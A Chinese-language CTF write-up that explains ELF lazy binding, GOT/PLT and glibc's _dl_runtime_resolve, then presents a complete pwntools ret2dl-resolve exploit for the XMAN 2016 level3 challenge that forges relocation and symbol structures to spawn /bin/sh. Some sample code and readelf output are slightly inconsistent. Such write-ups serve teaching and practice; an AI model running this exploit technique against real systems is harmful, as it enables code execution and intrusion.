_dll_runtime_resolve是重定位函数,该函数会在进程运行时动态修改函数地址来达到重定位的效果。
文章参考:
https://www.freebuf.com/articles/system/170661.html
https://blog.csdn.net/farmwang/article/details/73556672?tdsourcetag=s_pctim_aiomsg
https://blog.csdn.net/conansonic/article/details/54634142?tdsourcetag=s_pctim_aiomsg
https://bbs.ichunqiu.com/thread-44816-1-1.html
在之前再把延迟绑定,动态链接说下:为了减少储存器的浪费,现代系统支持动态链接特性。也就是在程序编译的时候不把外部库编译进去,而是在运行时再把内存中的库加载进去,但这时程序显然不知道需要使用函数的地址。
比如说:我们要在0x1000地址引用libc.so,如果a程序只引用了一个0x1000这个并不难。但当引用了许多liba.so,libb.so,libd.so,libc.so这些许多库的时候,这个0x1000地址很有可能被其他库占用了。所以,程序就需要找它们的真正地址,这个过程就叫做重定位。
got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,过程链接表)辅助进行帮助程序找到调用的地址。每个外部函数的got表都会被初始化成plt表中对应项的地址。当call指令执行时,EIP直接跳转到plt表的一个jmp,这个jmp直接指向对应的got表地址,从这个地址取值。
https://ftp.gnu.org/gnu/glibc/
下载glibc源码
详细的源码分析请看:
https://blog.csdn.net/conansonic/article/details/54634142?tdsourcetag=s_pctim_aiomsg
测试代码:
#include <unistd.h>
#include <string.h>
void func(){
char buffer[0x20];
read(0,buffer,0x200);
}
int main(){
fun();
gets();
return 0;
}
查看文件每个节区
附上readelf 命令
-a 显示全部信息
-h 显示文件头信息
-l 显示文件段头信息
-S 显示节头信息
-g 显示节组信息
-s 显示符号表中的项
-e 显示全部文件头信息 相当于 -h -l -S
-A 显示cpu架构信息
-d 显示动态段的信息。
-r 显示重定位段的信息
-n 显示note段信息(内核注释)
gcc -fno-stack-protector -no-pie -m32 -o fun
readelf -S fun
There are 29 section headers, starting at offset 0x17b8:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 00000154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 00000168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 00000188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 000001ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym 动态链接符号表 DYNSYM 000001cc 0001cc 000080 10 A 6 1 4
[ 6] .dynstr 动态链接的字符串 STRTAB 0000024c 00024c 00009b 00 A 0 0 1
[ 7] .gnu.version VERSYM 000002e8 0002e8 000010 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 000002f8 0002f8 000030 00 A 6 1 4
[ 9] .rel.dyn REL 00000328 000328 000040 08 A 5 0 4
[10] .rel.plt REL 00000368 000368 000010 08 AI 5 22 4
[11] .init PROGBITS 00000378 000378 000023 00 AX 0 0 4
[12] .plt PROGBITS 000003a0 0003a0 000030 04 AX 0 0 16
[13] .plt.got PROGBITS 000003d0 0003d0 000010 08 AX 0 0 8
[14] .text PROGBITS 000003e0 0003e0 000202 00 AX 0 0 16
[15] .fini PROGBITS 000005e4 0005e4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 000005f8 0005f8 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 00000600 000600 000044 00 A 0 0 4
[18] .eh_frame PROGBITS 00000644 000644 000118 00 A 0 0 4
[19] .init_array INIT_ARRAY 00001ed8 000ed8 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 00001edc 000edc 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 00001ee0 000ee0 0000f8 08 WA 6 0 4
[22] .got PROGBITS 00001fd8 000fd8 000028 04 WA 0 0 4
[23] .data 全局变量偏移表 PROGBITS 00002000 001000 000008 00 WA 0 0 4
[24] .bss 全局函数偏移表 NOBITS 00002008 001008 000004 00 WA 0 0 1
[25] .comment PROGBITS 00000000 001008 000025 01 MS 0 0 1
[26] .symtab SYMTAB 00000000 001030 000440 10 27 43 4
[27] .strtab STRTAB 00000000 001470 00024b 00 0 0 1
[28] .shstrtab STRTAB 00000000 0016bb 0000fc 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
查看动态段信息
readelf -d fun
Dynamic section at offset 0xee0 contains 27 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x378
0x0000000d (FINI) 0x5e4
0x00000019 (INIT_ARRAY) 0x1ed8
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x1edc
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x1ac
0x00000005 (STRTAB) 0x24c
0x00000006 (SYMTAB) 0x1cc
0x0000000a (STRSZ) 155 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x1fd8
0x00000002 (PLTRELSZ) 16 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x368
0x00000011 (REL) 0x328
0x00000012 (RELSZ) 64 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x0000001e (FLAGS) BIND_NOW
0x6ffffffb (FLAGS_1) Flags: NOW PIE
0x6ffffffe (VERNEED) 0x2f8
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x2e8
0x6ffffffa (RELCOUNT) 4
0x00000000 (NULL) 0x0
readelf -r fun
Relocation section '.rel.dyn' at offset 0x328 contains 8 entries:
Offset Info Type Sym.Value Sym. Name
00001ed8 00000008 R_386_RELATIVE
查看.dynsym中的内容
reade -s fun
00001edc 00000008 R_386_RELATIVE
00001ff8 00000008 R_386_RELATIVE
00002004 00000008 R_386_RELATIVE
00001fec 00000206 R_386_GLOB_DAT 00000000 _ITM_deregisterTMClone
00001ff0 00000306 R_386_GLOB_DAT 00000000 __cxa_finalize@GLIBC_2.1.3
00001ff4 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
00001ffc 00000606 R_386_GLOB_DAT 00000000 _ITM_registerTMCloneTa
Relocation section '.rel.plt' at offset 0x368 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
00001fe4 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
00001fe8 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
read符号位于.rel.plt的第一个,也就是偏移为0×0的地方,这里的r_offset(偏移量)就是.got.plt的地址。
reade -s fun
Symbol table '.dynsym' contains 6 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.0 (2)
3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
5: 0804851c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
typedef struct
{
Elf32_Word st_name; // Symbol name(对应于.dynstr中的索引)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))
ELF32_R_SYM(info) ((info)>>8),sym[num]是通过 (r_info)>>8 ,来对下标进行赋值。
对于fun文件,.dynsym的地址为0x080481cc,对于reade 函数对应值为1.
所以
gdb-peda$ x/4wx 0x080481cc+0x10*1
0x80481dc: 0x0000001f 0x00000000 0x00000000 0x00000012
0x080481cc 对应.dynsym的地址
0x10 每一个symbol大小在syment处可以查看,为16bytes
1 : num值为1
刚刚0x80481dc处的第一个值为0x1f,即"read"在dymstr出的偏移
gdb-peda$ x/s 0x0804822c+0x1f
0x804824b: "read"
这样只是熟悉了函数重定位的过程,如果伪造函数重定位情况的话。如何传参,参数数量,函数执行流程等这些并不清楚。
细看glibc源码:-2.15
从PLT[0]会进入_dl_runtime_resolve函数该函数位于
glibc/sysdeps/i386/dl-trampoline.S
.text
.globl _dl_runtime_resolve
.type _dl_runtime_resolve, @function
cfi_startproc
.align 16
_dl_runtime_resolve:
cfi_adjust_cfa_offset (8)
pushl %eax # Preserve registers otherwise clobbered.
cfi_adjust_cfa_offset (4)
pushl %ecx
cfi_adjust_cfa_offset (4)
pushl %edx
cfi_adjust_cfa_offset (4)
movl 16(%esp), %edx # Copy args pushed by PLT in register. Note
movl 12(%esp), %eax # that `fixup' takes its parameters in regs.
call _dl_fixup # Call resolver.
popl %edx # Get register content back.
cfi_adjust_cfa_offset (-4)
movl (%esp), %ecx
movl %eax, (%esp) # Store the function address.
movl 4(%esp), %eax
ret $12 # Jump to function address.
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve
主要代码段调用了_dl_fixup函数,此函数的实现在
glibc/elf/dl-runtime.c文件处
(下载的2.15以后版本没有dl-trampoline.S文件,dl -fixup函数名为fixup。但大致函数操作流程差别不大)
2.15
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *__unbounded l, ElfW(Word) reloc_arg)
{
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value)
}
该函数接收两个参数,第一个参数link_map没变,第二个rel_offset改为用reloc_arg表示:reloc_arg=reloffset(可能是后续版本的缘故,里面并没有rel_arg的宏定义,一律使用了rel_offest,但从哪个版本开始这个并没有去细查)
2.23
fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
/* GKM FIXME: Fix trampoline to pass bounds so we can do
without the `__unbounded' qualifier. */
struct link_map *__unbounded l, ElfW(Word) reloc_offset)
分析2.13中的fix_up
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);//计算重定位入口reloc,JMPREL即.rel.plt地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];//在.dynsym中对应的条目,[ELFW(R_SYM) (reloc->r_info)]就是为了找到对应的num[?]
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);//检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);//根据st_name对应的偏移,去.dynstr(STRTAB)中查找对应的字符串,result为libc基地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);//value为函数的实际地址,在libc基地址的基础上加上函数在libc中的偏移
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);//将函数地址写到got表对应位置
清楚流程之后就可以进行攻击了:
简单来说在bss段伪造想要的函数字符串(system),当dyn可写时,便把dynstr的bss地址改写为bss地址。
而当dyn不可写时,dll_runtime_resolve函数之所以能解析出不同的函数地址,是因为我们传入的rel_offest的不同,所以只要将rel_offest的地址改为我们想要的便可。但rel.plt里面可能不会有我们想要的函数,所以便要伪造一个。
伪造结构
将rel_offest值一直偏移到bss段,(bss一般是可写入的,ida 中CTRL+S可查看其属性)
rel_offest=bss_address+一定大小的偏移+junk-.rel.plt_address
伪造Elf32_Rel(.rel.plt)的结构,大小为8字节,我们需要伪造 r_offest r_info,r_offest是函数在.got.plt的地址,r_info可以用来计算在symtab中的index;
index=(bss+0×100-.dynsym)/0×10(因为SYMENT指明大小为16字节),类型必须为7
r_info=(index << 8 ) | 0x7
伪造symtab,这一部分包含四个字段,我们只需要改st_name部分即可,其余部分按照程序原有的值赋值,st_name表示了字符串相对strtab的偏移,我们可以将字符串写在紧邻这一部分的高地址处
伪造strtab,这里我们直接将所需库函数的字符串写入即可,例如system
dl_runtime_resolve函数便会将system函数的地址,写到read函数对应的got表中去,再次调用read就相当于调用了system函数
题目 - XMAN 2016-level3/level3
本题.rel.plt. .dynsym .dynstr所在的内存区域都不可写,便需要构造Elf32_Rel和Elf32_Sym。
from pwn import *
context.update(os = 'linux', arch = 'i386')
write_got = 0x0804a018
read_plt = 0x08048310
plt0_addr = 0x08048300
leave_ret = 0x08048482
pop3_ret = 0x08048519
pop_ebp_ret = 0x0804851b
new_stack_addr = 0x0804a500 #bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
relplt_addr = 0x080482b0 #.rel.plt的首地址,通过计算首地址和新栈上我们伪造的结构体Elf32_Rel偏移构造reloc_arg
dymsym_addr = 0x080481cc #.dynsym的首地址,通过计算首地址和新栈上我们伪造的Elf32_Sym结构体偏移构造Elf32_Rel.r_info
dynstr_addr = 0x0804822c #.dynstr的首地址,通过计算首地址和新栈上我们伪造的函数名字符串system偏移构造Elf32_Sym.st_name
io = process('./level3')
payload = ""
payload += 'A'*140 #padding
payload += p32(read_plt) #调用read函数往新栈写值,防止leave; retn到新栈后出现ret到地址0上导致出错
payload += p32(pop3_ret) #read函数返回后从栈上弹出三个参数
payload += p32(0) #fd = 0
payload += p32(new_stack_addr) #buf = new_stack_addr
payload += p32(0x400) #size = 0x400
payload += p32(pop_ebp_ret) #把新栈顶给ebp,接下来利用leave指令把ebp的值赋给esp
payload += p32(new_stack_addr)
payload += p32(leave_ret)
io.send(payload) #此时程序会停在我们使用payload调用的read函数处等待输入数据
sleep(1)
fake_Elf32_Rel_addr = new_stack_addr + 0x50 #在新栈上选择一块空间放伪造的Elf32_Rel结构体,结构体大小为8字节
fake_Elf32_Sym_addr = new_stack_addr + 0x5c #在伪造的Elf32_Rel结构体后面接上伪造的Elf32_Sym结构体,结构体大小为0x10字节
binsh_addr = new_stack_addr + 0x74 #把/bin/sh\x00字符串放在最后面
fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr #计算伪造的reloc_arg
fake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #伪造r_info,偏移要计算成下标,除以Elf32_Sym的大小,最后一字节为0x7
fake_st_name = new_stack_addr + 0x6c - dynstr_addr #伪造的Elf32_Sym结构体后面接上伪造的函数名字符串system
fake_Elf32_Rel_data = ""
fake_Elf32_Rel_data += p32(write_got) #r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
fake_Elf32_Rel_data += p32(fake_r_info)
fake_Elf32_Sym_data = ""
fake_Elf32_Sym_data += p32(fake_st_name)
fake_Elf32_Sym_data += p32(0) #后面的数据直接套用write函数的Elf32_Sym结构体,具体成员变量含义自行搜索
fake_Elf32_Sym_data += p32(0)
fake_Elf32_Sym_data += p32(0x12)
payload = ""
payload += "AAAA" #leave = mov esp, ebp; pop ebp,占位用于pop ebp
payload += p32(plt0_addr) #调用PLT[0]传入参数*link_map并调用_dl_fixup
payload += p32(fake_reloc_arg) #传入伪造的reloc_arg重定位并返回到system函数
payload += p32(0) #system函数返回值
payload += p32(binsh_addr) #/bin/sh字符串地址
payload += "A"*0x3c #padding
payload += fake_Elf32_Rel_data
payload += "AAAA"
payload += fake_Elf32_Sym_data
payload += "system\x00\x00"
payload += "/bin/sh\x00"
io.send(payload)
io.interactive()